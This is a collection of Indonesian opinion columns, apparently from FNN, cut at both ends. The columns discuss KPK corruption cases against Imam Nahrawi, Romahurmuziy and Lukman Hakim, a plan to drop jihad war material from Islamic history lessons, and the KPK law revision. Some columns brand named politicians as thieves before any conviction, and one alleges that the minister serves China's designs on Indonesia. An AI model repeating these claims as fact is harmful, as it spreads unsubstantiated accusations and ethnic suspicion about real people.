hari disebut-sebut terlibat dalam kasus tersebut. Awalnya, jaksa KPK yang mengungkap keterlibatan Menteri Imam. Hanya saja, duit yang dituduhkan tak sebesar yang diungkap Alexander. Sang Jaksa hanya membeberkan daftar pembagian dana hibah yang sejumlah Rp3,4 miliar. Daftar para penikmat itu dibuat Sekretaris Jenderal KONI, Ending Fuad Hamidy. Nama Imam ada di deretan nomor satu dalam daftar. Sekadar mengingatkan, kasus ini bermula dari penangkapan sejumlah pejabat Kemenpora dan KONI dalam operasi tangkap tangan (OTT) oleh KPK pada Selasa, 18 Desember 2018. Setelah penangkapan itu, lembaga antirasuah menetapkan lima orang sebagai tersangka. Dua di antaranya adalah Hamidy dan Bendahara Umum KONI Jhonny E. Awuy sebagai tersangka pemberi suap. Tiga orang tersangka lain dari Kemenpora, yaitu Deputi IV Kemenpora Mulyana, pejabat pembuat komitmen di Kemenpora, Adhi Purnomo, dan Staf Kementerian Kemenpora, Eko Triyanto. Ketiganya ditetapkan sebagai tersangka penerima suap. Sedangkan khusus penyelidikan tentang keterlibatan Imam dilakukan KPK sejak 25 Juni 2019. Imam sudah dipanggil sebanyak tiga kali yakni pada 31 Juli, 2 Agustus 2019 dan 21 Agustus 2019. Hanya saja, ia tidak menghadiri pemanggilan tersebut. KPK memandang telah memberikan ruang yang cukup bagi Imam untuk memberikan keterangan dan klariflkasi pada tahap penyelidikan. Kader PKB, Santri NU Imam memang baru tersangka. Semoga saja dia tidak korup. Korupsi itu perbuatan yang kejam. Ah, mana mungkinlah Imam berbuat begitu. Dia kan kader PKB. Dia kan santri NU. Nama dengan titel lengkap Imam adakah Dr. H. Imam Nahrawi, S.Ag., M.KP. Pria ini sebelumnya adalah Sekretaris Jenderal DPP PKB. Saat mahasiswa, lelaki kelahiran Bangkalan, 8 Juli 1973, ini aktif sebagai bagian dari Pergerakan Mahasiswa Islam Indonesia (PMII). Tapi, bagaimana jika Imam benar melakukan itu. Jika benar begitu, maka publik bisa mengambil pelajaran bahwa telur dalam satu eraman memang tak selalu menetas semua. Ada kalanya, sebagian telur menjadi telur busuk. Lagi pula, Imam tidak sendiri. Penetapan tersangka atas diri Imam oleh KPK ini hanya menambah daftar kader NU yang kena jeratan KPK saja. Sebelumnya, Muhammad Romahurmuziy atau Romy terkena OTT KPK. Eks Ketua Umum Partai Persatuan Pembangunan (PPP) ini mulai disidangkan dalam kasus jual beli jabatan. Kita tahu, siapa Romy. Dia adalah kader NU tulen. Dia putra Prof. Dr. K.H. M. Tochah Mansoer, Guru Besar Hukum Islam IAIN Sunan Kalijaga, pendiri sekaligus ketua pertama Ikatan Pelajar Nahdlatul Ulama (IPNU). Ia juga cicit pendiri NU Abdul Wahab Hasbullah. Kini, banyak pihak berharap, Iman dan Romy menjadi yang terakhir bagi kader NU yang berurusan dengan KPK. Sayangnya, publik sudah menerka, Lukman Hakim Saifuddin bisa-bisa menyusul. Menteri Agama ini adalah kader NU. Pada tahun 1988-1999 ia berkiprah di Lajnah Kajian dan Pengembangan Sumberdaya Manusia (Lakpesdam) NU sebagai Wakil Sekretaris. Sama dengan Romy, Lukman terbelit dalam kasus jual beli jabatan. Keterlibatan Lukman terekspos setelah Kepala Kantor Wilayah Kementerian Agama Provinsi Jawa Timur, Haris Hasanudin, didakwa oleh KPK telah menyuap Romy dan Lukman untuk memuluskan dirinya menduduki jabatan sebagai kepala kantor wilayah. Haris mengaku dirinya memberi Lukman Rp10 juta pada 9 Maret 2019 di Jombang. Tatkala KPK menggeledah ruang kantor Lukman, penyidik menemukan uang Rp180 juta dan US$30 ribu. Selanjutnya penyidik menyita uang US$30 ribu di laci ruang kerja Menag itu. Jika dirupiahkan, maka duit sebanyak itu bernilai sekitar Rp423 juta. Jadi, total duit berupa dolar dan rupiah itu menjadi sekitar Rp603 juta. FC Awalnya, tidak jelas duit dari mana yang tersimpan di laci itu. Dari pengakuan Lukman, uang itu adalah akumulasi dari dana operasional menteri yang diperolehnya. Baik itu dari honorarium yang diterima dari berbagai kegiatan seperti ceramah dan pembinaan, dan urusan lain di dalam dan luar kementerian agama. Sebagian dari uang itu juga menurutnya adalah dana sisa perjalanan baik ke luar atau pun dalam negeri. Soal duit US$30 ribu, asal-usulnya baru terungkap pada Rabu, 26 Juni 2019. Kala itu, Lukman dihadirkan dalam persidangan sebagai saksi terdakwa Kepala Kanwil Kemenag Jawa Timur, Haris Hasanuddin. Lukman menyebut uang US$30 ribu tersebut pemberian Atase Agama Arab Saudi, Syekh Ibrahim, terkait kegiatan MTQ Internasional yang digelar di Indonesia. "Itu dari keluarga Amir Sultan, karena rutin keluarga Raja mengadakan MTQ Internasional Indonesia," jelasnya. Duit itu diberikan di ruang kerja Menag pada Desember 2018. Sungguh sangat disayangkan karier politik kader-kader muda NU ini diwarnai tragedi yang jelas memalukan. NU adalah ormas Islam yang amat keras melawan korupsi. NU memandang korupsi adalah kejahatan berat. Hukum bagi koruptor, menurut NU, adalah potong tangan sampai hukuman mati. Fatwa ini dikeluarkan dalam Mubes NU pada 2012. "Kami tetap meminta praduga tak bersalah harus tetap dikedepankan," pinta Sekretaris Jendral PKB, M Hasanuddin Wahid, Rabu (18/9) terkait status tersangka Imam Nahrawi. Ya, semoga saja Imam tak bersalah. Itulah yang mestinya ia buktikan. Sudah sepantasnya NU atau PKB melakukan pembelaan pada kadernya. Lagi pula, KPK bukanlah malaikat yang selalu benar. Atas dasar itu, tidak semua telur yang berada di ujung tanduk KPK adalah telur busuk. Penulis adalah Wartawan Senior

Pak Menteri Lukman : RRC Paling Senang Sejarah Perang Jihad Dihapus

Pak Menteri Lukman. Hampir semua atau 90% perintah untuk perang melawan pejajajah ketika itu datang dari mulutnya para Sultan, Kiayai dan Ulama. Para Sultan selain menjadi penguasa atas Negara dan Wilayah Kesultanannya, mereka juga kaligus pemuka agama kepada rakyatnya. Mereka menjadi Imam dan Khalifah kepada umat di wilayah Kesultanannya. By Asyari Usman Jakarta, FNN - Kita tinggalkan sebentar hiruk-pikuk revisi UU KPK dan RKHUP. Ada satu hal yang tak kalah mengerikan. Mohon maaf, tulisan ini terpaksa panjang. Tak tanggung-tanggung. Gerakan untuk mengacak-acak Islam dan umat Islam garis lurus kelihatannya dipimpin langsung oleh Menteri Agama Lukman Hakim Saifuddin. Dia akan menghapus materi tentang perang jihad di dalam pelajaran Sejarah Kebudayaan Islam (SKI). Belum lama ini, Lukman Hakim pula yang membantah bahwa pemerintah Jokowi akan menghapuskan sama sekali pendidikan agama Islam. Bukan hanya materi perang. Menurut para petinggi Kementerian Agama (Kemenag), penghapusan materi perang dari SKI dimaksudkan agar Islam tidak lagi dikait-kaitkan dengan perang. Logika seperti ini tentu bertentangan dengan sejarah peperang sepanjang zaman. Lihat saja, siapa-siapa yang terlibat Perang Dunia I (1914-1918), Perang Dunia II (1939-1945), dan perang-perang lain setelah itu? Ingat Perang Korea (1950-1953). Kemudian Perang Vietnam yang berlangsung 20 tahun (1955-1975). Perang Falkland atau Malvinas antara Inggris dan Argentina (1982). Apakah orang Islam yang melakukan perang-perang dahsyat ini? Siapa yang menggunakan bom nuklir pertama yang membumihanguskan Hiroshima dan Nagasaki? Jawabanya: Amerika Serikat. Siapa yang melancarkan serangan mendadak ke Pearl Harbour yang memicu Amerika menjatuhkan bom nuklir itu? Jawabannya: Jepang. Apakah orang Amerika dan orang Jepang itu beragama Islam dan mereka belajar sejarah perang Islam sehingga menjadi suka berperang? Jawabannya: tak mungkin. Terus, apakah Hitler beragama Islam ketika dia menyatakan perang melawan sekutu dan Rusia? Dan apakah negara-negara sekutu dan Rusia beragama Islam? Apakah orang Inggris dan Prancis yang melancarkan perang terhadap Hitler, juga beragama Islam? Perang Korea antara Korea Utara dan Korea Selatan, apakah mereka yang berperang itu orang Islam? Pak Lukman dan para petinggi di Kemenag tampaknya perlu lebih jeli lagi. Perlu hati-hati melihat sejarah terjadinya peperangan di dunia. Agar tidak keliru menyimpulkan bahwa materi perang dalam sejarah Islam akan memebuat para siswa atau mahasiswa yang beragama Islam menjadi suka berperang. Apakah tidak ada perang di negara-negara Islam? Ada. Tidak dibantah. Tapi Pak Lukman dan para kolega perlu membaca ulang apa yang memicu umat Islam melancarkan perang. Ambillah contoh perang Palestina-Israel. Bukankah ini disebabkan penindasan zionis Israel? Contoh lain adalah perang India-Pakistan. Bukankah ini contoh bahwa umat Islam Pakistan tak sudi ditindas oleh India. Begitu juga Perang Kashmir. Bukankah ini terjadi karena India ingin menguasai wilayah milik kaum muslimin? Contoh yang dekat dengan kita adalah ragkaian perang kemerdekaan Indonesia melawan Belanda, Jepang, dan Inggris. Pak Lukman masih ingat bagaimana kejamnya para penjajah kafir yang menindas bangsa Indonesia? Yang memeras umat Islam? Mengapa Pak Menteri Agama tidak melihat bahwa perang yang menghasilkan kemerdekaan Indonesia itu dilancarkan di segenap pelosok negeri berkat pengetahuan mereka tentang sejarah Nabi Muhammad melawan penindasan orang kafir Quraish? Orang kafir Quraish tidak mau kebiadaban mereka diberantas oleh Rasulullah SAW. Kafir Quraish tak rela keadilan dan HAM ditegakkan oleh misi ajaran Islam. Di bumi Indonesia, orang Belanda, Jepang, Inggris juga Portugis tidak rela kebiadaban mereka dilawan oleh umat Islam. Pak Lukman jangan sampai lupa bahwa perlawanan itu dilancarkan oleh para ulama dan umat. Ada Pengeran Diponegoro, ada Tuanku Imam Bondjol, ada Kapitan Pattimura, ada Tjut Njak Dhien, Tjut Njak Meutia, Sultan Hasanuddin, Andi Abdullah Bau Massepe, Nyi Ageng Serang. Semua mereka ini adalah pejuang Islam, beragama Islam. Mereka mengobarkan semangat jihad fi-sabilillah melawan kafir penjajah. Pak Lukman Hakim, jangan lupa pula perlawanan terhadap penjajah yang dilancakan oleh Pangeran Antasari. Ada juga Teungku Tjik Di Tiro Muhammad Saman dan Keumalahayati di Aceh. Ada Depati Amir di Bangka, Raden Inten II di Lampung. Terus, ada La Maddekelleng, Sultan Nuku Muhammad Amiruddin di Tidore, ada Padjonga Daeng Ngalle, Raja Haji Fisabilillah di Riau. Selanjutnya, Pak Menteri ingat juga perlawanan terhadap penjajah Belanda yang dilancarkan oleh Ronggong Daeng Romo, Hajjah Rangkayo Rasuna Said, dan lain-lain. Ada Supriyadi di Blitar melawan pasukan Jepang, dan ada Sultan Ageng Tirtayasa di Banten. Para pejuang Islam yang mengobarkan semangat perlawanan karena mereka paham tentang kewajiban melawan penindasan. Coba lihat catatan tentang Teuku Umar, Tuanku Tambusai, atau Halim Perdanakusuma. Mereka ini berjihad untuk membebaskan Indonesia dari cengkeraman penjajah yang menindas dengan biadab dan sadis. Entah siapa-siapa lagi yang tak mungkin disebutkan satu per satu di sini. Masih banyak lagi Pak Lukman. Hampir semua atau 90% perintah untuk perang melawan pejajajah ketika itu datang dari mulutnya para Sultan, Kiayai dan Ulama. Para Sultan selain menjadi penguasa atas Negara dan Wilayah Kesultanannya, mereka juga kaligus pemuka agama kepada rakyatnya. Mereka menjadi Imam dan Khalifah kepada umat di wilayah Kesultanannya. Para panglima perang di medan pertempuran melawan penjajah 90% adalah anaknya para Sultan atau Pengeran, anaknya para Kiayai atau Gus serta murid-murid mengajinya para ulama. Kalimatnya perintahnya cuma satu “Perang Melawan Penjajah adalah Jihad”. Kayakinannya gugur di medan perang melawan penjajah, insya Allah mati syahid, sehingga dijamin masuk syurga. Apakah Anda, Pak Menteri Agama, akan menyembunyikan kisah-kisah heroik para pahlawan kemerdekaan ini? Dan juga sekian banyak kisah perang di zaman Rasulullah SAW? Apakah semua ini tidak akan Anda ceritakan kepada generasi berikutnya? Bijakkah Anda dan para kolega di Kemenag menghapuskan cerita patriotis para pejuang itu? Apa tujuan Anda, Pak Lukman? Anda hapuskan itu hanya karena teori yang tak berdasar bahwa pengetahuan anak-anak tentang perang di masa Nabi akan membuat mereka suka perang. Entah dalil siapa yang Anda gunakan. Entah pesanan dari mana yang sedang Anda tunaikan. Pak Lukman Hakim, sebaiknya peperangan dalam Islam tidak Anda hapuskan dari buku sejarah. Kalau Anda hilangkan, berarti Anda sedang mencoba menciptakan orang-orang Islam yang berjiwa penghamba. Itu berarti Anda ingin melihat kaum muslimin mudah diinjak-injak orang asing. Tindakan Anda itu sangat berbahaya bagi ketahanan negara dan umat. Penghapusan itu hanya akan menyenangkan pihak-pihak yang ingin menjajah Indonesia dalam banyak arti. Penjajahan ekonomi maupun penjajahan fisik. Salah satu kemungkinannya adalah bahwa Anda, Pak Menteri, ingin melihat orang Islam tidak akan melawan kalau RRC menjajah Indonesia, kelak. Sebab, China sangat ‘gemes’ melihat Indonesia yang empuk dan punya segalanya. Anda tahu apa dan siapa yang menjadi hambatan RRC untuk menguasai Indonesia? Kalau Anda tak tahu atau pura-pura tidak tahu, saya tuliskan jawabanya di sini. Hambatan RRC nantinya untuk merajalela di Indonesia ini adalah Islam dan umat Islam yang kuat dan tak takut mati. Umat Islam yang memiliki semangat jihad fi-sabilillah. Ketika Anda, hari ini, menghapuskan materi perang dari buku-buku sejarah Islam, itulah yang didambakan oleh RRC atau pihak asing lainnya. RRC ingin melihat orang Islam yang tidak melawan penjajahan. Mereka ingin melihat orang Islam yang tidak tahu dan tidak punya nyali untuk melawan. Anda, Pak Lukman, berpikir bahwa penghapusan materi itu akan melahirkan umat Islam yang bertoleransi, cinta damai, dlsb. Sungguh Anda keliru besar. Kalau Anda mencatat berbagai percikan kekerasan yang melibatkan segelintir orang Islam, sesungguhnya itu semua dipicu oleh ketidakadilan dan kesewenangan vertikal dan horizontal. Bukan karena orang Islam belajar tentang sejarah perang. Penulis adalah Wartawan Senior

Duta Pancasila Yang Ternyata Menjadi Maling & Pasien KPK

Itulah, nama-nama duta Pancasila yang akhirnya jadi pasien KPK. Pancasila ternyata sarat dengan skandal, dari Duta Pancasila yang malah jadi pasien KPK, hingga BPIP yang tak jelas kerjaannya. Oleh Nasrudin Joha Jakarta, FNN - Tentu, saya mengawali dengan menyebut nama Imam Nahrawi. Orang ini paling sok Pancasila, gayanya sudah kayak yang hafal kitab tafsir Pancasila, NKRI harga mati, tapi Ga taunya juga maling duit rakyat. Kenapa Nahrawi disebut diawal ? Karena kasusnya masih hangat. Dia, ngembat duit negara melalui kemenpora. Nilainya guede banget, 26,5 miliar rupiah. Kalau ditulis angka, cukup panjang. Rp. 26.500.000.000,-. Angka ini, sangat signifikan jika digunakan untuk program pro rakyat. Diurutan kedua ada Romi, Romahurmuzy. Meski sama-sama dari NU seperti Imam Nahrawi, tapi Romi partainya PPP. Akibat polemik ini, NU pernah minta jatah menteri diluar jalur PKB dan PPP. Romi ini juga begitu, sama seperti Nahrawi. Sok Pancasila, anti syariah Islam kaffah bahkan menentang ajaran Islam khilafah. Masih banyak, jejak digital Romi yang sok hebat membuat argurmentasi ngawur menolak khilafah. Ternyata, dia juga maling. Romi didakwa JPU KPK bersama-sama Menteri Agama Lukman Hakim Syaifuddin menerima suap sebesar Rp 325 juta. Duit ini receh, jauh dengan nominal yang diembat Imam Nahrawi. Namun, duit ini hasil jual beli jabatan dilingkungan kemenag. Kementrian agama saja doyan, duit receh saja diembat, itulah tabiat Romi Koco yang sok NKRI dan sok Pancasila. Selanjutnya, seharusnya Lukman hakim Saifudin juga jadi tersangka. Ini tinggal nunggu waktu yang tepat saja. Jika nanti pada saatnya, status Lukman juga akan ditingkatkan menjadi Tersangka. Lanjut Berikutnya, Idrus Marham. Idrus Sekjen Golkar, yang katanya suara Golkar suara rakyat. Keliru itu, yang benar mungkin suara Golkar suara maling. Idrus maling duit setrum, yang berasal dari keringat rakyat. Sekretaris jenderal abadi Golkar ini, akhirnya mengakhiri karier sebagai Sekjen di jeruji besi menjadi pasien KPK. Idrus tak terlalu getol mengaku Pancasilais, tapi termasuk duta Pancasila yang diperhitungkan. Selanjutnya, kolega Idrus di Golkar. Namanya, Setya novanto. Dia, sempat tertabrak tiang listrik sebelum akhirnya ditetapkan tersangka KPK pada kasus e KTP. Semua orang yang sampai saat ini belum punya e KTP dengan dalih blangko belum siap, pasti marah pada Novanto. Novanto ini, juga yang termasuk pasang DP aku Pancasila, saat menjabat Ketum Golkar. Itulah, nama-nama duta Pancasila yang akhirnya jadi pasien KPK. Pancasila ternyata sarat dengan skandal, dari Duta Pancasila yang malah jadi pasien KPK, hingga BPIP yang tak jelas kerjaannya. Kalau dari PDIP ? Ini jagonya, namanya tak cukup disebutnya satu persatu. Makanya, PDIP termasuk yang paling getol merevisi UU KPK, sampai menugaskan petugas partainya untuk mengirim supres membahas UU KPK. Hasilnya ? UU pelemahan KPK telah disahkan. Penulis adalah Wartawan Senior dan Pemerhati Ruang Publik

Jokowi Masuk Perangkap Revisi UU KPK

Mungkinkah PDIP sengaja menjerumuskan Jokowi lewat usul revisi UU KPK? Bisa iya, bisa tidak. Bisa iya, karena ada indikasi keluarga besar PDIP mulai tidak nyaman dengan sepak-terjang Jokowi. Bisa tidak, karena tak mungkin rasanya Bu Megawati sengaja menyulitkan posisi politik Jokowi. By Asyari Usman Tim inti Jokowi kecolongan. Revisi UU KPK kini menjerumuskan dia. Sekarang, pendukung Jokowi sendiri terbelah. Sebagian menentang keras revisi itu. Sebagian lain masih tetap setia membela Jokowi. Untuk yang membela mati-matian, tentu bisa dipahami semua orang mengapa mereka bersikap begitu. Tetapi, reaksi publik secara umum membuat posisi Jokowi menjadi labil. Terutama, rangkaian unjukrasa yang dilancarkan oleh kalangan mahasiswa di Jakarta dan juga di kota-kota besar lain di Indonesia. Kalau aksi jalanan ini membola salju, bisa jadi efeknya akan semakin jauh ke jantung kekuasaan. Sangat mengherakan mengapa tim penasihat inti Jokowi bisa terjebak menyetujui revisi UU KPK nomor 30 Tahun 2002. Seharusnya mereka paham betul bahwa KPK (Komisi Pemberantasan Korupsi) adalah lembaga yang didukung kuat oleh semua orang dari segala kubu dan latarbelakang. Semestinya, tim penasihat Jokowi tahu bahwa korupsi adalah musuh bersama rakyat. Lintas partai, lintas agama, lintas ideologi. Di kubu Jokowi, hanya para buzzer beliau saja yang mendukung revisi. Seharusnya, Jokowi tidak menyentuh KPK. Badan ini mengakar di hati rakyat. Rakyat yang cendekiawan atau rakyat biasa. Gebrakan-gebrakan KPK selama ini sangat ‘menghibur’ bagi rakyat. Para anggota DPR boleh tak suka kepada KPK. Tapi, begitu lembaga ini dilihat sedang dikeroyok, rakyat pasti akan bereaksi. Publik sangat sederhana melihat KPK. Yang mau melemahkan KPK, mereka anggap prokorupsi. Baik itu presiden maupun DPR atau pihak lain yang memusuhi KPK. Realitas ini yang kelihatannya lepas dari kalkulasi Jokowi dan juga DPR. Publik tidak perduli soal kemacetan beberapa kasus besar di KPK. Bagi mereka, ketika DPR mengusulkan revisi UU KPK dan Presiden Jokowi menyetujuinya, itu berarti DPR dan Jokowi tidak lagi antikorupsi. Anggapan ini sangat berbahaya. Terutama bagi Presiden. Sekarang ada pertanyaan: apakah Jokowi sengaja dijebak oleh DPR atau kedua pihak itu sama-sama anggap enteng terhadap kemungkinan reaksi keras dari publik? Yang paling getol dengan revisi ini adalah PDIP. Merekalah yang memotori gagasan revisi. Suara mereka paling besar. Apalagi banyak dukungan dari fraksi-fraksi lain, khususnya blok politik yang besar-besar yang sekubu dengan Jokowi. Mungkinkah PDIP sengaja menjerumuskan Jokowi lewat usul revisi UU KPK? Bisa iya, bisa tidak. Bisa iya, karena ada indikasi keluarga besar PDIP mulai tidak nyaman dengan sepak-terjang Jokowi. Bisa tidak, karena tak mungkin rasanya Bu Megawati sengaja menyulitkan posisi politik Jokowi. Barangkali Jokowi pribadi tak memahami atau tidak memperkirakan kemungkinan reaksi ‘hostile’ (bermusuhan) dari publik. Yang cukup mencemaskan adalah reaksi yang ditunjukkan oleh beberapa media besar yang selama ini mendukung Jokowi. TEMPO, sebagai contoh, mengambil posisi konfrontatif dengan Jokowi terkait revisi UU KPK yang dihakimi sebagai upaya untuk melemahkan lembaga favorit rakyat itu. Begitu juga grup Kompas. Koran ini terang-terangan memperlihatkan keberatannya terhadap pengeroyokan KPK. Tapi, adakah kemungkinan posisi Jokowi terancam serius? Kalau demo mahasiswa berkembang besar, maka bisa saja situasi menjadi tak terkendali. Ancaman itu sangat mungkin menjadi serius. Polisi pasti bisa mengambil tindakan represif. Tapi, represif terhadap mahasiswa berbeda dengan represif terhadap aksi-aksi umat Islam. Represif terhadap umat Islam selalu dimenangkan oleh polisi. Sebab, para ulama atau ustad yang memimpim aksi unjukrasa selalu bisa “dijinakkan”. Kalau pimpinan mahasiswa belum tentu bisa ditundukkan tanpa kontrareaksi dari anak-anak mahasiswa itu. Yang merepotkan polisi, mungkin, adalah bila semangat demo mahasiswa semakin tinggi. Kalau polisi represif, situasi bisa menjadi tak terduga. Bisa unpredictable. Sebab, kalau para mahasiswa merasa pihak keamanan bertindak berlebihan, konfrontasi bisa naik ke level berikutnya. Bisa sangat serius! Sekarang ini, tudingan publik terhadap Jokowi adalah bahwa dia berubah menjadi prokorupsi dengan menyetujui revisi UU KPK. Ini opini publik yang sangat kuat. Komitmen Jokowi untuk memberantas korupsi menjadi cacat di mata rakyat. Hebat orang-orang yang telah berhasil menggiring Jokowi masuk ke perangkap revisi UU KPK. Perangkap ini berkemungkinan membawa Jokowi ke cuaca ekstrem dengan turbulensi kategori fatal. Penulis adalah Wartawan Senior

Imam Nahrawi & Moralitas Islam Nusantara

Dengan ditetapkan Imam Nahrawi menjadi tersangka oleh KPK, faktanya semakin banyak tokoh-tokoh utama Islam Nusantara yang berilian menjadi tersangka koruptor. Pertanyaan yang kemudian muncul, apakah value atau nilai Islam yang ditawarkan Islam Nusantar ini? Menjadikan hari santri, misalnya, mungkin penting dari sisi presence (kehadiran). Namun untuk apa adanya sebuah presence jika tidak menawarkan nilai dan gagasan? Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Persis tiga tahun lalu di Semarang, Imam Nahrawi memimpin Senam Islam Nusantara. Acara yang diprakarsai Ketua Cabang Nahdatul Ulama (NU) setempat. Acara ini digelar ini untuk terus memfollow up gagasan Islam Nusantara yang ditelurkan PBNU. Sebuah konsep Islam di mana ajaran Islam ini bersumber dari Islam yang lahir dan berkembang di Indonesia. Saat ini Imam Nahrawi telah ditetapkan Komisi Pemberantasan Korupsi (KPK) sebagai tersangka korupsi. Nilai perampokan harta negara lebih dari Rp 25.000.000.000 miliar. Staf Khusus Imam Nahrawi, Miftahul Ulum sebelumnya sudah ditahan KPK. Saat ini dalam proses persidangan di Pengadilan Negeri Jakarta Pusat. Muftahul Ulum diseret atas kasus korupsi pembiayaan dana hibah Komite Nasional Olahraga Indonesia(KONI). Adik Nahrawi yang juga tokoh Islam Nusantara di Jawa Timur langsung meradang menuduh KPK sebagai lembaga yang zalim. Ditetapkannya Menteri Pemuda dan Olahraga ini sebagai tersangka menjadikan semakin banyaknya tokoh-tokoh Islam Nusantara dicap sebagai koruptor. Sebelumnya kita melihat penangkapan dilakukan terhadap Ketua Umum DPP PPP Romahurmuzy, dan mantan Sekretaris Jendral DPP Golkar Idrus Marham. Padahal mereka ini termasuk simbol sentral dalam isu Islam Nusantara tersebut. Gagasan Islam Nusantara dicetuskan oleh beberapa tokoh muda asal Nahdatul Ulama. Dengan maksud membangun kesadaran ke Islaman yang berakar dari Indonesia sendiri. Selama ini perkembangan Islam yang dianggap semakin "berbau arab”. Islam yang dicirikan sebagai pemuda-pemuda berjidat hitam. Mereka juga bercelana cingkrang, baju koko, jenggot panjang, istri berjilbab penuh dan lain-lain. Islam yang “berbau arab” ini dianggap terlalu dominan di ruang publik. Selain mengatakan bahwa Islam jenis ini kearab-araban, mereka Islam Nusantara juga menuduh adanya faham radikalisme dan wahabiisme. Faham ini dituduh akan menjadikan Indonesia berpotensi menjadi negara-negara kacau seperti di Suriah dan timur tengah lainnya. Dengan menghadirkan Islam Nusantara, maka diharapkan jati diri bangsa Indonesia akan menjadi bangsa yang harmonis dan jauh dari kekerasan dan saling fitnah. Tentu saja adalah hak sebuah komunitas atau lapisan sosial masyarakat kita merepresentasikan diri dalam suatu konsep gerakan. Kita melihat tokoh-tokoh muda asal NU ini mereproduksi gagasan Islam Nusantara dengan sangat serius. Targetnya, untuk memunculkan suatu kebanggan pada sejarah yang berjejak pada perjuangan leluhur mereka. Beberapa hal seperti Hari Santri Nasional dan Fatwa Jihad menjadi bagian jejak sejarah yang belakngan ini diklaim mereka. Akhirnya klaim ini muncul sebagai bagian penting dari sejarah kebangsaan kita. Tokoh-tokoh Islam Nusantaran ini adalah tokoh-tokoh sentral dari kalangan muda NU Selain Imam Nahrawi, ada juga Muhaimin Iskandar, Nusron Wahid, dan Ulil Absar Abdallah. Sebaliknya,tokoh mudah NU yang tidak ingin masuk dalam tema Islam Nusantara ini, masuk pada kelompok NU Garis Lurus. Dengan ditetapkan Imam Nahrawi menjadi tersangka oleh KPK, faktanya semakin banyak tokoh-tokoh utama Islam Nusantara yang berilian menjadi tersangka koruptor. Pertanyaan yang kemudian muncul, apakah value atau nilai Islam yang ditawarkan Islam Nusantar ini? Menjadikan hari santri, misalnya, mungkin penting dari sisi presence (kehadiran). Namun untuk apa adanya sebuah presence jika tidak menawarkan nilai dan gagasan? Dahulu misalnya, Tjokroaminoto melahirkan gerakan perjuangan baru, namanya “Serikat Islam”. Tjokrominoto malah menawarkan gagasan reposisi kaum pribumi dan pedagang muslim dalam struktur sosial kita. Gasasan besar model Tjokrominoto inilah yang sekarang dipakai dan dilestarikan oleh tetangga kita Malaysia. Belanda yang membangun hirarki paling kelas atas. Disusul kemudian oleh Cina di tengah. Sedangkan pribumi Islam sebagai "anjing-anjing" (de honden) dilawan habis-habisan oleh gerakan Serikat Islam. Serikat Islam berhasil membangun jutaan basis massa melawan Belanda. Tjokroaminoto juga berhasil melahirkan kader-kader terbaik bangsa, termasuk Sukarno. Kehadiran Islam Nusantara tentu perlu diapresiasi, dalam rangka konsolidasi sebagai komunitas rakyat kita dalam warna kehidupan yang bersifat historis. Apalagi ancaman radikalisme internasional memang mempunyai fenomena. Namun, sebuah gagasan harus diimbangi dengan kemampuan menunjukkan kepeloporan. Terutama dari nilai perjuangan dan keadilan yang ingin diikuti mayoritas rakyat kita. Pencanangan Senam Islam Nusantara tentu saja bukan sebuah gagasan besar. Jika masalah moral pemerintahan bersih, ketokohan anti korupsi, kemiskinan, keadilan sosial, kejahatan oligarki modal, yang justru jadi isu utama. Semua ini adalah permasalahan utama bangsa kita yang harus dipecahkan. Dari sinilah sebenarnya letak pertanyaan kita tentang Islam Nusantara. Apa saja gagasan nilai yang meraka tawarkan? Bagimana, misalnya, sikap mereka melihat isu korupsi? Tentu disamping berbagai isu kerakyatan lainnya. Jika Islam Nusantara gagal mengedepankan isu-isu pokok ini, maka maksud baik kehadiran Islam Nusantara akan menjadi pertanyaan besar ke depan. Panulis adalah Direktur Eksekutive Sabang Merauke Circle

Polemik KPK Berpotensi Goyang Jokowi!

Komitmen pemerintahan Jokowi dalam memberantas korupsi sudah tidak dapat dipercaya lagi. Mosi tidak percaya juga diberikan kepada DPR Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Istilah “Polisi Taliban” yang ada di KPK sebenarnya sudah ada semasa Muhammad Busyro Muqoddas menjadi Ketua KPK (2010-2011). Istilah Taliban melekat pada kelompok tersebut karena dikenal militan dalam pemberantasan korupsi. Bahkan, mereka rela meninggalkan keanggotaan Polri-nya agar bisa menjadi penyidik tetap KPK. “Mimpi mereka menjadi jenderal dicopot untuk menjadi pengabdi KPK dan mereka semua militan makanya saat saya masuk sudah ada istilah Taliban,” ujar Busyro. “Saya juga heran kenapa istilahnya Taliban, tapi mereka menjelaskan ini tak ada konotasinya dengan agama tapi Taliban itu menggambarkan betapa militansinya Penyidik di KPK,” lanjut Busyro, Sabtu (14/9/2019). Anggota dari kelompok Taliban ini, juga mempunyai latar belakang keagamaan yang berbeda diantaranya Kristen, Hindu, dan Islam. Kini istilah Taliban itu kemudian dipolitisasi yang ada indikasi perintahnya berasal dari Istana dan dikembangkan Pansel KPK. Busyo menilai, Tim Pansel KPK yang dibentuk Presiden Joko Widodo, seperti kehilangan akal saat melakukan seleksi pada tahapan psikotes. Baru kali ini pansel itu seperti kurang kerjaan, tak mempunyai konsep padahal ada tiga guru besar. “Masa, psikotesnya menggunakan isu-isu radikalisme, pertanyaannya itu seperti anak SMP,” ungkap Busyro. Serangan terhadap KPK dilakukan dari berbagai sudut dan cara. Setelah DPR secara aklamasi memilih tokoh yang dinilai melanggar kode etik sebagai Ketua KPK, kini muncul tudingan KPK dikuasai kelompok Taliban. Kelompok Taliban di KPK adalah stigmatisasi terhadap penyidik KPK yang tanpa pandang bulu melakukan penegakan hukum, melakukan OTT, dan memproses sejumlah pejabat korup. Penyebutan istilah kelompok Taliban dinilai sejumlah kalangan sebagai upaya pelemahan terhadap KPK. Guru Besar LIPI Prof. Syamsuddin Haris dan kawan-kawannya selama 3 tahun melakukan penelitian di KPK. Hasilnya, ditegaskan bahwa tidak ada kelompok Taliban di KPK. “Saya dan beberapa teman sdh lbh dari 3 thn terakhir melakukan kerjasama riset dgn rekan2 di @KPK_RI. Tdk ada Taliban,” ujar Syamsuddin Harin. Sebutan ada kelompok Taliban di KPK atau istilah Polisi Taliban Vs Polisi India itu adalah upaya dari insitusi lain di Indonesia untuk melemahkan KPK sehingga mereka kemudian bisa menguasai KPK. “Itu adalah isapan jempol belaka utk membenarkan saudara tua (baca: polisi) masuk dan meng-obok2 KPK,” tegasnya, Sabtu (14/9/2019). Syamsuddin Haris termasuk guru besar yang secara konsisten dan keras mengkritik upaya pelemahan KPK. Ia juga mengingatkan Presiden Jokowi untuk menyelamatkan KPK, terutama terkait revisi UU KPK. Menurut Syamsuddin Haris, DPR sekarang bukan akan merevisi UU KPK, tetapi membentuk UU 